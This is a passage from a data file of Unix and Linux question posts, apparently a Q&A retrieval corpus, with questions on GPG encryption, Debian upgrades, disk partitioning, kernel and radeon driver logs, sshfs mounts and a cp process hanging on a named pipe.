1035.781] (EE) Please also check the log file at \"/var/log/Xorg.0.log\" for additional information. [ 1035.795] (EE) [ 1035.809] (EE) Server terminated with error (1). Closing log file."} {"_id": "80462", "title": "Batch encryption using a public GPG key", "text": "I've written a little script for my Clonezilla USB stick which will allow me to quickly back everything up without entering any options by simply running the script. Next, I'd like to store my public GPG key on the stick and add some encryption to my backups like so: find . -maxdepth 1 -type f -not -iname \"*.gpg\" | while read file ; do gpg --encrypt-using-key-file \"/path/to/my/keyfile\" \"$file\" rm \"$file\" done What is the way to properly encrypt files using a public GPG keyfile, ensuring that it doesn't prompt for user input? How would I actually do this?"} {"_id": "80461", "title": "How to mount software RAID-5 created by Windows under Linux?", "text": "At our university we have a Windows FTP server that was implemented with software RAID-5 technology, but we decided to migrate to Linux. How can we mount and modify it under Linux?"} {"_id": "80460", "title": "rm -r path : how to avoid being asked at each level?", "text": "How to avoid being asked at each level if I want to delete that path? I just want to remove everything in a path?"} {"_id": "90389", "title": "How to upgrade Debian stable (Wheezy) to testing (Jessie)?", "text": "I downloaded and installed Debian 7 Wheezy, the stable version, but I would like more recent apps and libs so I'd like to switch to testing version (aka Jessie). How do I proceed?"} {"_id": "87312", "title": "Upgrade debian from oldstable (squeeze) to unstable (sid)", "text": "I am trying to get debian sid. Firstly, I installed a clean squeeze on my hard drive. I replaced everything in my 'sources.list' with 'deb http://ftp.de.debian.org/debian unstable main contrib non-free'. Then I performed these commands: apt-get update (no errors), apt-get dist-upgrade (took 10 minutes, no errors), reboot. But after reboot its version is still 6.0.7. Repeating 'apt-get dist-upgrade' \"works\" but doesn't change much (or nothing)."} {"_id": "125936", "title": "Create partition on CentOS server?", "text": "I have a headless CentOS server that I'd like to create a new partition on so I have a separate boot and data partition. I have an existing server with the setup that I want to achieve and running fdisk -l looks like this: Disk /dev/cciss/c0d0: 299.9 GB, 299966445568 bytes 255 heads, 63 sectors/track, 36468 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/cciss/c0d0p1 * 1 13 104391 83 Linux /dev/cciss/c0d0p2 14 36468 292824787+ 8e Linux LVM Disk /dev/cciss/c0d1: 899.8 GB, 899898718208 bytes 255 heads, 63 sectors/track, 109406 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/cciss/c0d1p1 * 1 109406 878803663+ 83 Linux Here's the same command on my server: Disk /dev/cciss/c0d0: 587.1 GB, 587128266752 bytes 255 heads, 63 sectors/track, 71380 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/cciss/c0d0p1 * 1 13 104391 83 Linux /dev/cciss/c0d0p2 14 71380 573255427+ 8e Linux LVM I've been told it's not as straightforward as creating a partition and setting mount-points to it because of the additional logical volume layer on CentOS. How can I create a partition without causing problems to the data structure?"} {"_id": "125937", "title": "Mkfs error undefined symbol: ext2fs_numeric_progress_ops", "text": "I'm running a Oracle Linux 6.4 under Hyper-V. I have to add a disk. So I add it in Hyper-V, Linux sees it when I run `fdisk -l` and I can see it. So I did a `fdisk /dev/sdb` then I created an extended partition, started from 1 and let other parameters as default. Then I want to run a `mkfs.ext3 /dev/sdb1` or ext4 (since I don't remember the difference, and I think there is no problem by choosing one or the other). But the `mkfs.ext3` or `mk2efs` or `mkfs -t ext3 /dev/sdb1` output this error: error symbol lookup : undefined symbol: ext2fs_numeric_progress_ops I googled that, no answer at all. It never happened to me before. Any help would be greatly appreciated. **UPDATE1** : This is the output of `ldd /sbin/mkfs.ext3` linux-vdso.so.1 => (0x00007fff907fd000) libext2fs.so.2 => /opt/appassure/lib64/libext2fs.so.2 (0x00007f7c126fc000) libcom_err.so.2 => /lib64/libcom_err.so.2 (0x0000003290800000) libblkid.so.1 => /lib64/libblkid.so.1 (0x0000003290c00000) libuuid.so.1 => /lib64/libuuid.so.1 (0x0000003291800000) libe2p.so.2 => /lib64/libe2p.so.2 (0x0000003291000000) libc.so.6 => /lib64/libc.so.6 (0x0000003368e00000) libpthread.so.0 => /lib64/libpthread.so.0 (0x0000003369200000) /lib64/ld-linux-x86-64.so.2 (0x0000003368600000)` And when I run an `e2fsck /dev/sdb1` this is the output : Error\u00a0: ext2fs library is outdated ! e2fsck 1.43-WIP (20-Jun-2013) Using library EXT2FS version 1.42.6, 21-Sept-2012"} {"_id": "125939", "title": "WARNING: at kernel/irq/handle.c - after changing rootfs, but why?", "text": "today I changed from an image with initramfs to an image with separate kernel and rootfs. Theses images are used for an Embedded System (ARM9 SAM9G25), that is runnging with an Linux 2.6.39. During boot I got the following warning, that didn't show up with the initramfs: WARNING: at kernel/irq/handle.c:130 handle_irq_event_percpu+0x70/0x198() irq 12 handler atmci_interrupt+0x0/0x6b0 enabled interrupts Modules linked in: Backtrace: [] (dump_backtrace+0x0/0x10c) from [] (dump_stack+0x18/0x1c) r6:c005d558 r5:00000009 r4:c028fea8 r3:c02956bc [] (dump_stack+0x0/0x1c) from [] (warn_slowpath_common+0x54/0x6c) [] (warn_slowpath_common+0x0/0x6c) from [] (warn_slowpath_fmt+0x38/0x40) r8:00000000 r7:00000000 r6:0000000c r5:00000001 r4:c7969f60 r3:00000009 [] (warn_slowpath_fmt+0x0/0x40) from [] (handle_irq_event_percpu+0x70/0x198) r3:0000000c r2:c025b447 [] (handle_irq_event_percpu+0x0/0x198) from [] (handle_irq_event+0x30/0x40) [] (handle_irq_event+0x0/0x40) from [] (handle_level_irq+0xbc/0xe4) r4:c02976a8 r3:00020000 [] (handle_level_irq+0x0/0xe4) from [] (asm_do_IRQ+0x78/0xa8) r4:0000000c r3:c005f1b8 [] (asm_do_IRQ+0x0/0xa8) from [] (__irq_svc+0x34/0x60) Exception stack(0xc028ff48 to 0xc028ff90) ff40: 00000000 0005317f 0005217f 60000013 c028e000 c02ab1a4 ff60: c03b9480 c0291f0c 20000000 41069265 2001c2a8 c028ff9c 600000d3 c028ff90 ff80: c0022748 c0022754 60000013 ffffffff r5:fefff000 r4:ffffffff [] (default_idle+0x0/0x44) from [] (cpu_idle+0x70/0xc8) [] (cpu_idle+0x0/0xc8) from [] (rest_init+0x60/0x78) r5:c001d5c4 r4:c0290094 [] (rest_init+0x0/0x78) from [ (start_kernel+0x23c/0x284) [] (start_kernel+0x0/0x284) from [<20008038>] (0x20008038) ---[ end trace 45f8d0076fc9ced3 ]--- I have to say, the system doesn't crash here and boots on as the usual way and is usable in the end (I end up in Busybox - the distro). **What I did:** I created an SD card with 2 FAT32 partitions of ~1 GB each. On the first there are the bootloaders and the kernel and on the second I extracted the rootfs.tar, that was generated with the help of Buildroot 2013.11. The Linux command line looks like this: console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait rw (I'm not sure if this belongs to here, but first i couldn't even boot the rootfs at all, since he wasn't able to initialize the mmcblk. Now with the `rootwait` it works just fine). **My question is** : does anyone know where this error comes from? I couldn't find any useful threads anywhere about this. I'd like to remove this error, because I guess it's wasting a bit of time during boot and that's my actual aim: keeping the boot time at the lowest time it could get."} {"_id": "67929", "title": "This file must be edited with the 'visudo' command.?", "text": "Why it is recommended to edit `/etc/sudoers` file with the `visudo` command? Here is a sample of the file: ## Sudoers allows particular users to run various commands as ## the root user, without needing the root password. ## ## Examples are provided at the bottom of the file for collections ## of related commands, which can then be delegated out to particular ## users or groups. ## ## This file must be edited with the 'visudo' command. Are there any special reasons for it?"} {"_id": "127730", "title": "Postfix does not respond after \"Mail From\"", "text": "I have a VPS with Linux on it, and Plesk. The `/proc/version` file has (Red Hat 4.4.6-4) in it. The mailer is Postfix, but it isn't working, if I `telnet` in to port 25: 1. I Get the banner 2. I do HELO 3. I get 250 response 4. I do \"Mail From: \" And at that point Postfix does not respond. I can send additional lines via Telnet, but Postfix never responds. If I kill the `telnet` session, and reconnect, it still responds, so the entire Daemon didn't crash. Does anybody have any clue as to what might be causing Postfix to do this. Any logs to look in, common errors in config files etc."} {"_id": "27596", "title": "CUPS printing of pdf files", "text": "How can I tell the lpr command (cups) that my file is actually a pdf? `lpr file.pdf` won't print anything."} {"_id": "27597", "title": "What does the \"(8)\" in fsck(8) mean?", "text": "*nix commands (and functions?) have a number with them, like `fsck(8)`, `killall(1)`, etc. What does the number mean?"} {"_id": "27592", "title": "How should I set up additional EBS storage on an Amazon EC2 instance?", "text": "One of my clients has three EC2 servers on the Amazon cloud, with several attached EBS devices: ![Picture.png](http://img839.imageshack.us/img839/732/picturejt.png) **server 1** and **server 2** are ubuntu micro instances, and **server 3** , the main production box, is a ubuntu large instance. I'm want to create a duplicate of **server 3** but am wondering if there is an advantage of having 4 attached EBS devices as shown, or if it would be simpler / easier to do it with fewer attached devices. I don't know too much of the history of these servers, so I'm looking for insight. I do know that **server 3** runs programs that require `apache, mysql, oracle, java, solr` and maybe a few other services. If I launch a new Ubuntu Large instance I believe it only comes with 7.5 GB of storage - so if I need to store a large database I will need at least 1 other attached EBS device, because I don't think when using Ubuntu's images on EC2 you can increase the size of the main EBS. Is that correct? And, if I add another EBS device to the instance, I will need to do things like change the path of where apps (like mySql and Oracle) store their data - right? My apologies for having a somewhat broad question, but in a nutshell, I'd just like to know: **How should I set up additional EBS storage on an Amazon EC2 instance?**"} {"_id": "127732", "title": "System Crontab or Root Crontab", "text": "System crontab: /etc/crontab Root crontab: sudo crontab -u root -e Which way is preferred? As they all run tasks within administration privilege."} {"_id": "21361", "title": "Slackware, installing Flash and Chrome", "text": "I'm having trouble installing flash and chrome. When I download the sources, there are no installers for the packages. All I get is a few folders and .so files. Is there anything out there which shows how to get the latest version of flash via Slackware, or a package manager which has this or something? Any help would be much appreciated. Thank you."} {"_id": "48018", "title": "Why is Perl installed by default with most Linux distributions?", "text": "Just curious. The title says it all: Why is Perl installed by default with most Linux distributions?"} {"_id": "55153", "title": "zram swap instability", "text": "I use Mint 13 Maya with mainline kernel 3.6.3 for Ubuntu Quantal on my Asus P53E Notebook. I use zram swap that comes with the package zram-config. I've noticed that using it the system to hangs at random moments, especially (but not always) under high memory loads. Even when 90% of memory is free (and exactly no swap in use) the notebook cannot survive in a powered state a night (8 hours). This \"hanging\" behaviour is quite literal: the computer respond to exactly nothing. No mouse movement, capslock/numlock leds don't respond to the corresponding keys. Even the sysrq combinations don't work (like \"BUSIER\"). (I don't remember if dimming the display works). After the hard restart, there is no trace of anything odd in the system logs. This behavior doesn't happen after I shut down the zram-config service. Does it mean, that zram swap is not ready for production? Or is it misconfigured? How can I debug this problem?"} {"_id": "21360", "title": "setting Cygwin's $HOME to Windows profile directory", "text": "Are there any drawbacks to having Cygwin and Windows share the same $HOME directory, in this case the Windows profile directory?"} {"_id": "75535", "title": "apt-get error 503", "text": "I tried installing pyqt4-dev-tools on my machine using the following command: sudo apt-get install pyqt4-dev-tools after a few prompts the installation is aborted with the following message: Err http://archive.ubuntu.com/ubuntu/ precise/main pyqt4-dev-tools i386 4.9.1-2ubuntu1 503 Service Unavailable [IP: 91.189.91.15 80] Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/p/python-qt4/pyqt4-dev-tools_4.9.1-2ubuntu1_i386.deb 503 Service Unavailable [IP: 91.189.91.15 80] E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing? I tried running apt-get with `\\--fix-missing`, same error. running apt-get update doesn't help either. I'm using linux mint, if it matters any thing."} {"_id": "75534", "title": "Selecting/highlighting Text Problem", "text": "I am using Backtrack 5. As it is based on Ubuntu 10.04 I decided to ask my question to here: I'm having problems selecting text with my mouse. For example when I try to rename a folder, sometimes I can successfully highlight the text but when I release the mouse button, it is no longer highlighted. Sometimes I can't even successfully highlight the part of the text that I want. It highlights more or less of the text then actually selected. First I thought it was a problem caused by my mouse, however, I tried another mouse and the problem continues. This problem really bothers me while surfing on the net. Could you please help me?"} {"_id": "87218", "title": "How to enable VESA framebuffer as default in NetBSD 6.1", "text": "When booting NetBSD, the old Tecra 720CDT that I have, works quite nicely in 1024x768x15 mode with vesa fb. I always have to activate VESA when booting the system: > vesa on > vesa 0x116 > boot netbsd Now, I was able to somewhat automatize this process by editing `/boot.cfg`: menu=Boot normally:rndseed /var/db/entropy-file;vesa on;vesa 0x116;boot netbsd No idea if this is preferable. I'd actually like to set this kind of behavior in the kernel itself. on OpenBSD, I'd simply use `config` to change the kernel settings. That, however, does not work on NetBSD. I'd have to recompile the kernel (that's my understanding). Now, when looking through the config file, I couldn't find things related to vesa or switching to framebuffer mode while booting. Is this even possible? If so, how do I do that?"} {"_id": "150169", "title": "drm Kernel v>3.11 Issues", "text": "Just a regular Fedora 20 user here (coming from no answers on ask.fedoraproject.org). I'm having some issues with the most recent kernel versions. The last working (no black line) kernel I have installed on my machine is v3.11.10-301. The most recent 3.15.8 and 3.15.7 both provide a graphic experience like this: ![](http://i.imgur.com/GUo2tdM.jpg) Notice the big blotchy black line in the centre. My mouse can't go over it, and if it's not clear, the left of what should be my screen is on the right side of the black bar (the KDE settings window is split). I'm almost certain this is a kernel (drm - Direct Rendering Manager) issue because the black line is at the login manager and I get some harmless in- kernel certificate errors (right before drm kicks in according to dmesg) that do not have the black band. While booted here is the dmesg output of ## 3.11 Kernel (OK) Click here to view the entire output on OneDrive (http://1drv.ms/1uR5Sd3) Snippet where the DRM is initialised: [ 1.776632] [drm] Initialized drm 1.1.0 20060810 [ 1.805399] [drm] radeon kernel modesetting enabled. [ 1.805482] checking generic (c0000000 300000) vs hw (c0000000 10000000) [ 1.805484] fb: conflicting fb hw usage radeondrmfb vs EFI VGA - removing generic driver [ 1.805498] Console: switching to colour dummy device 80x25 [ 1.805861] [drm] initializing kernel modesetting (CAICOS 0x1002:0x6779 0x1458:0x2547). [ 1.805886] [drm] register mmio base: 0xFEA20000 [ 1.805888] [drm] register mmio size: 131072 [ 1.805960] ATOM BIOS: GV [ 1.806468] radeon 0000:01:00.0: VRAM: 1024M 0x0000000000000000 - 0x000000003FFFFFFF (1024M used) [ 1.806471] radeon 0000:01:00.0: GTT: 512M 0x0000000040000000 - 0x000000005FFFFFFF [ 1.806478] [drm] Detected VRAM RAM=1024M, BAR=256M [ 1.806479] [drm] RAM width 64bits DDR [ 1.807090] [TTM] Zone kernel: Available graphics memory: 4036888 kiB [ 1.807093] [TTM] Zone dma32: Available graphics memory: 2097152 kiB [ 1.807094] [TTM] Initializing pool allocator [ 1.807100] [TTM] Initializing DMA pool allocator [ 1.807121] [drm] radeon: 1024M of VRAM memory ready [ 1.807122] [drm] radeon: 512M of GTT memory ready. [ 1.807492] [drm] GART: num cpu pages 131072, num gpu pages 131072 [ 1.808076] [drm] enabling PCIE gen 2 link speeds, disable with radeon.pcie_gen2=0 [ 1.814764] [drm] Loading CAICOS Microcode [ 1.816226] [drm] PCIE GART of 512M enabled (table at 0x0000000000273000). [ 1.816357] radeon 0000:01:00.0: WB enabled [ 1.816360] radeon 0000:01:00.0: fence driver on ring 0 use gpu addr 0x0000000040000c00 and cpu addr 0xffff88022f06fc00 [ 1.816362] radeon 0000:01:00.0: fence driver on ring 3 use gpu addr 0x0000000040000c0c and cpu addr 0xffff88022f06fc0c [ 1.817875] radeon 0000:01:00.0: fence driver on ring 5 use gpu addr 0x0000000000072118 and cpu addr 0xffffc900124b2118 [ 1.817891] [drm] Supports vblank timestamp caching Rev 1 (10.10.2010). [ 1.817892] [drm] Driver supports precise vblank timestamp query. [ 1.817911] radeon 0000:01:00.0: irq 86 for MSI/MSI-X [ 1.817925] radeon 0000:01:00.0: radeon: using MSI. [ 1.817957] [drm] radeon: irq initialized. [ 1.834446] [drm] ring test on 0 succeeded in 2 usecs [ 1.834511] [drm] ring test on 3 succeeded in 1 usecs [ 1.846465] PM: Starting manual resume from disk [ 1.858815] EXT4-fs (sda2): mounted filesystem with ordered data mode. Opts: (null) [ 1.940264] usb 1-2: New USB device found, idVendor=046d, idProduct=0819 [ 1.940268] usb 1-2: New USB device strings: Mfr=0, Product=0, SerialNumber=2 [ 1.940270] usb 1-2: SerialNumber: FDC3D2D0 [ 2.021537] [drm] ring test on 5 succeeded in 2 usecs [ 2.021543] [drm] UVD initialized successfully. [ 2.021729] [drm] ib test on ring 0 succeeded in 0 usecs [ 2.021778] [drm] ib test on ring 3 succeeded in 0 usecs [ 2.067310] tsc: Refined TSC clocksource calibration: 3311.083 MHz [ 2.174224] [drm] ib test on ring 5 succeeded [ 2.174502] [drm] Radeon Display Connectors [ 2.174504] [drm] Connector 0: [ 2.174506] [drm] HDMI-A-1 [ 2.174507] [drm] HPD2 [ 2.174509] [drm] DDC: 0x6460 0x6460 0x6464 0x6464 0x6468 0x6468 0x646c 0x646c [ 2.174510] [drm] Encoders: [ 2.174511] [drm] DFP1: INTERNAL_UNIPHY1 [ 2.174512] [drm] Connector 1: [ 2.174515] [drm] DVI-D-1 [ 2.174516] [drm] HPD4 [ 2.174517] [drm] DDC: 0x6450 0x6450 0x6454 0x6454 0x6458 0x6458 0x645c 0x645c [ 2.174518] [drm] Encoders: [ 2.174520] [drm] DFP2: INTERNAL_UNIPHY [ 2.174521] [drm] Connector 2: [ 2.174522] [drm] VGA-1 [ 2.174523] [drm] DDC: 0x6430 0x6430 0x6434 0x6434 0x6438 0x6438 0x643c 0x643c [ 2.174524] [drm] Encoders: [ 2.174526] [drm] CRT1: INTERNAL_KLDSCP_DAC1 [ 2.174611] [drm] Internal thermal controller with fan control [ 2.175497] [drm] radeon: power management initialized [ 2.241696] [drm] fb mappable at 0xC0375000 [ 2.241698] [drm] vram apper at 0xC0000000 [ 2.241699] [drm] size 4325376 [ 2.241700] [drm] fb depth is 24 [ 2.241701] [drm] pitch is 5632 ## 3.15 Kernel (problematic) Click here to view the entire output on OneDrive (http://1drv.ms/1uR67om) Snippet where the DRM is initialised: [ 1.967740] [drm] Initialized drm 1.1.0 20060810 [ 2.000464] [drm] radeon kernel modesetting enabled. [ 2.000521] checking generic (c0000000 300000) vs hw (c0000000 10000000) [ 2.000523] fb: switching to radeondrmfb from EFI VGA [ 2.000542] Console: switching to colour dummy device 80x25 [ 2.000877] [drm] initializing kernel modesetting (CAICOS 0x1002:0x6779 0x1458:0x2547). [ 2.000887] [drm] register mmio base: 0xFEA20000 [ 2.000888] [drm] register mmio size: 131072 [ 2.000941] ATOM BIOS: GV [ 2.001493] radeon 0000:01:00.0: VRAM: 1024M 0x0000000000000000 - 0x000000003FFFFFFF (1024M used) [ 2.001496] radeon 0000:01:00.0: GTT: 1024M 0x0000000040000000 - 0x000000007FFFFFFF [ 2.001498] [drm] Detected VRAM RAM=1024M, BAR=256M [ 2.001499] [drm] RAM width 64bits DDR [ 2.001861] [TTM] Zone kernel: Available graphics memory: 4036074 kiB [ 2.001863] [TTM] Zone dma32: Available graphics memory: 2097152 kiB [ 2.001864] [TTM] Initializing pool allocator [ 2.001869] [TTM] Initializing DMA pool allocator [ 2.001897] [drm] radeon: 1024M of VRAM memory ready [ 2.001901] [drm] radeon: 1024M of GTT memory ready. [ 2.001920] [drm] Loading CAICOS Microcode [ 2.002020] [drm] Internal thermal controller with fan control [ 2.002940] [drm] radeon: power management initialized [ 2.003049] [drm] GART: num cpu pages 262144, num gpu pages 262144 [ 2.004334] [drm] enabling PCIE gen 2 link speeds, disable with radeon.pcie_gen2=0 [ 2.005491] systemd-udevd[260]: renamed network interface eth0 to p4p1 [ 2.007763] random: nonblocking pool is initialized [ 2.018756] [drm] PCIE GART of 1024M enabled (table at 0x0000000000273000). [ 2.018844] radeon 0000:01:00.0: WB enabled [ 2.018847] radeon 0000:01:00.0: fence driver on ring 0 use gpu addr 0x0000000040000c00 and cpu addr 0xffff88003e58ac00 [ 2.018850] radeon 0000:01:00.0: fence driver on ring 3 use gpu addr 0x0000000040000c0c and cpu addr 0xffff88003e58ac0c [ 2.019232] radeon 0000:01:00.0: fence driver on ring 5 use gpu addr 0x0000000000072118 and cpu addr 0xffffc90011332118 [ 2.019234] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). [ 2.019235] [drm] Driver supports precise vblank timestamp query. [ 2.019254] radeon 0000:01:00.0: irq 87 for MSI/MSI-X [ 2.019264] radeon 0000:01:00.0: radeon: using MSI. [ 2.019287] [drm] radeon: irq initialized. [ 2.035904] [drm] ring test on 0 succeeded in 1 usecs [ 2.035961] [drm] ring test on 3 succeeded in 1 usecs [ 2.048416] usb 1-2: New USB device found, idVendor=046d, idProduct=0819 [ 2.048419] usb 1-2: New USB device strings: Mfr=0, Product=0, SerialNumber=2 [ 2.048421] usb 1-2: SerialNumber: FDC3D2D0 [ 2.232955] [drm] ring test on 5 succeeded in 1 usecs [ 2.232961] [drm] UVD initialized successfully. [ 2.232967] tsc: Refined TSC clocksource calibration: 3311.083 MHz [ 2.233352] [drm] ib test on ring 0 succeeded in 0 usecs [ 2.233376] [drm] ib test on ring 3 succeeded in 0 usecs [ 2.403140] usb 3-3: new high-speed USB device number 2 using ehci-pci [ 2.404719] [drm] ib test on ring 5 succeeded [ 2.405156] [drm] Radeon Display Connectors [ 2.405158] [drm] Connector 0: [ 2.405160] [drm] HDMI-A-1 [ 2.405161] [drm] HPD2 [ 2.405163] [drm] DDC: 0x6460 0x6460 0x6464 0x6464 0x6468 0x6468 0x646c 0x646c [ 2.405164] [drm] Encoders: [ 2.405165] [drm] DFP1: INTERNAL_UNIPHY1 [ 2.405167] [drm] Connector 1: [ 2.405168] [drm] DVI-D-1 [ 2.405169] [drm] HPD4 [ 2.405170] [drm] DDC: 0x6450 0x6450 0x6454 0x6454 0x6458 0x6458 0x645c 0x645c [ 2.405171] [drm] Encoders: [ 2.405172] [drm] DFP2: INTERNAL_UNIPHY [ 2.405173] [drm] Connector 2: [ 2.405175] [drm] VGA-1 [ 2.405177] [drm] DDC: 0x6430 0x6430 0x6434 0x6434 0x6438 0x6438 0x643c 0x643c [ 2.405178] [drm] Encoders: [ 2.405179] [drm] CRT1: INTERNAL_KLDSCP_DAC1 [ 2.471347] [drm] fb mappable at 0xC0474000 [ 2.471349] [drm] vram apper at 0xC0000000 [ 2.471350] [drm] size 4325376 [ 2.471351] [drm] fb depth is 24 [ 2.471352] [drm] pitch is 5632 It's worth noting that * Occasionally, I get no video with the newer kernels; merely a 2px tall tripe at the top of my screen that does flash with the right colours (because I know the login so well :P). * Changing GRUB2's gfxpayload setting to \"auto\" does nothing I'm not a programmer, just a frustrated enthusiast so any help is appreciated."} {"_id": "29255", "title": "Mounting Remote Filesystem over SSH as a Different User", "text": "Due to a breach of security, the administrators of the work server have implemented a new method of security. To log into the server, we must log in as our own user (which has severely limited permissions), then `su` into another user under which we can do development (which we cannot log in to from the outside). It used to be that we just logged in to a common user which had permissions, and I could simply mount the remote filesystem right onto my local filesystem using `sshfs`. Now that we have to `su` into another user, I can't simply mount it like I have before. I've done a reasonable amount of research and tried all \"solutions\" I found. I've been trying to make this work for some time. My question is: is there a way to `su` into a different user inside a `sshfs` mount? Perhaps running a script on the server after the mount completes or something? I would use something like this, but I don't have `sudo` access on the server, only `su`. As a side note, my development computer is running LM11, and I'm mounting a share on some old Red Hat server."} {"_id": "29254", "title": "How to create an FS under SunOS?", "text": "So there is a Global Zone, and we need to create an FS on a Zone that's in the Global Zone. Also we need the new FS in a new DG/Volume inside the DG of the Zone (if we see it from the Global Zone). How to do it? Using vx. (Or at least an authentic howto needed :D )"} {"_id": "29256", "title": "Undo bg; Undo putting a process into the background?", "text": "I've started a long running and machine hog process. I've hit `CTRL-Z` to stop it. I've then put it in the background with `bg`. Oops, I should have restarted with `fg` so that I could easily stop and start it again. What is the easiest way to stop a process that was just put into the background?"} {"_id": "29250", "title": "sshfs always asking for password in fstab?", "text": "I'm trying to enter an sshfs mount in /etc/fstab with the following line: sshfs#oli@192.168.0.2:/media/usb0 /media/ExtHD fuse defaults,nonempty,allow_other 0 0 So that this volume is mounted at boot. After booting up, nothing happens, but when I use the command sudo mount -a, I am always prompted for the password. I have set up SSH Keys and transferred them over to the computer at 192.168.0.2, and can log in to regular ssh with no pasword. How can I stop fuse from asking for my password so that the volume can be automatically mounted at boot time? If it helps at all, I am trying to connect to a home server running Debian from a laptop running Arch Linux. Thanks"} {"_id": "78359", "title": "What is causing this Copy command to enter sleep state?", "text": "I am trying to recursively copy a huge directory of installables over 25G and want to preserve the owner and group id, permission modes and so on. So I ran the below commands: bash-3.2$ date; cp -rpP /source/path/Oracle /target/path/Oracle;date; Tue Jun 4 09:44:54 EDT 2013 ... * * * **Some observations:** * Today (Wed Jun 5 12:09:25 EDT 2013) I notice that it still hasn't completed and appears to be stuck somewhere. I started analyzing the process and it seems to be sleeping: bash-3.2$ truss -p 09431; read(10, 0xFFBEF288, 32768) (sleeping...) * The last entry also shows that its asleep. bash-3.2$ pflags 09431 9431: cp -rpP /source/path/Oracle /target/path/Oracle data model = _ILP32 flags = RLC|ASYNC|MSACCT|MSFORK flttrace = 0xfffffbff sigtrace = 0xfffffeff 0xffffffff HUP|INT|QUIT|ILL|TRAP|ABRT|EMT|FPE|BUS|SEGV|SYS|PIPE|ALRM|TERM|USR1|USR2|CLD|PWR|WINCH|URG|POLL|STOP|TSTP|CONT|TTIN|TTOU|VTALRM|PROF|XCPU|XFSZ|WAITING|LWP|FREEZE|THAW|CANCEL|LOST|XRES|JVM1|JVM2|RTMIN|RTMIN+1|RTMIN+2|RTMIN+3|RTMAX-3|RTMAX-2|RTMAX-1|RTMAX entryset = 0x00000401 0x04000000 0x00000000 0x00000028 0x80000000 0x00000000 0x00000000 0x00000000 exitset = 0xfffffffe 0xffffffff 0xffffffff 0xffffffd7 0x7fffffff 0xffffffff 0xffffffff 0xffffffff /1: flags = ASLEEP read(0xa,0xffbef288,0x8000) * Finally tried `pfiles` bash-3.2$ pfiles -F 09431 9431: cp -rpP /source/path/Oracle /target/path/Oracle Current rlimit: 256 file descriptors 0: S_IFCHR mode:0620 dev:363,0 ino:12582922 uid:502012187 gid:7 rdev:24,3 O_RDWR|O_NOCTTY|O_LARGEFILE /devices/pseudo/pts@0:3 1: S_IFCHR mode:0620 dev:363,0 ino:12582922 uid:502012187 gid:7 rdev:24,3 O_RDWR|O_NOCTTY|O_LARGEFILE /devices/pseudo/pts@0:3 2: S_IFCHR mode:0620 dev:363,0 ino:12582922 uid:502012187 gid:7 rdev:24,3 O_RDWR|O_NOCTTY|O_LARGEFILE /devices/pseudo/pts@0:3 3: S_IFDIR mode:0750 dev:377,1 ino:1135681 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle 4: S_IFDIR mode:0750 dev:377,1 ino:1135682 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware 5: S_IFDIR mode:0750 dev:377,1 ino:14640507 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware/user_projects 6: S_IFDIR mode:0750 dev:377,1 ino:14640508 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware/user_projects/epmsystem2 7: S_IFDIR mode:0750 dev:377,1 ino:6480147 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer 8: S_IFDIR mode:0750 dev:377,1 ino:6480149 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1 9: S_IFDIR mode:0750 dev:377,1 ino:6480151 uid:502012187 gid:502012187 size:4096 O_RDONLY|O_NDELAY|O_LARGEFILE FD_CLOEXEC /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1/bin 10: S_IFIFO mode:0660 dev:377,1 ino:9088704 uid:502012187 gid:502012187 size:0 O_RDONLY|O_LARGEFILE /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1/bin/ESSBASE1_1 11: S_IFREG mode:0660 dev:326,22000 ino:128325 uid:502012187 gid:502012187 size:0 O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE /target/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1/bin/ESSBASE1_1 * * * **UPDATE:** _Note that the above`cp` process has been killed. So below observations are trying to reproduce the issue._ * **File** that is getting blocked: bash-3.2$ ls -l ESSBASE1_1 prw-rw---- 1 kent kent 0 Nov 22 2011 ESSBASE1_1 * When I try to cp this file individually: bash-3.2$ cp ESSBASE1_1 ESSBASE1_1kent # PID = 08745 ... it hangs too. * Looking at `pflags`, it seems to be sleeping. bash-3.2$ pflags 08745 8745: cp ESSBASE1_1 ESSBASE1_1kent data model = _ILP32 flags = MSACCT|MSFORK /1: flags = ASLEEP read(0x3,0xffbf6bc8,0x8000) * Searching for all other processes using this file bash-3.2$ fuser -f /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1/bin/ESSBASE1_1 /source/path/Oracle/Middleware/user_projects/epmsystem2/EssbaseServer/essbaseserver1/bin/ESSBASE1_1: 8745o 25057o Note that the 'o' indicates that the process is using the file as an open file. * Finding at the processes: bash-3.2$ pstree | grep 8745 | | | |--- 09695 kent grep 8745 | | \\--- 08745 kent cp ESSBASE1_1 ESSBASE1_1kent bash-3.2$ pstree | grep 25057 | | | \\--- 09700 kent grep 25057 | | |-+- 25057 kent 86:43 /some/path/Oracle/Middlewa Process with PID 25057 is a server process. * The open file is on a mount-point. It's a NAS disk. bash-3.2$ cat /etc/mnttab | grep apps server1.com:/vol/server1_nec_nosnap0/dev_apps /source/path/ nfs rw,xattr,dev=5e40001 1362894854 * * 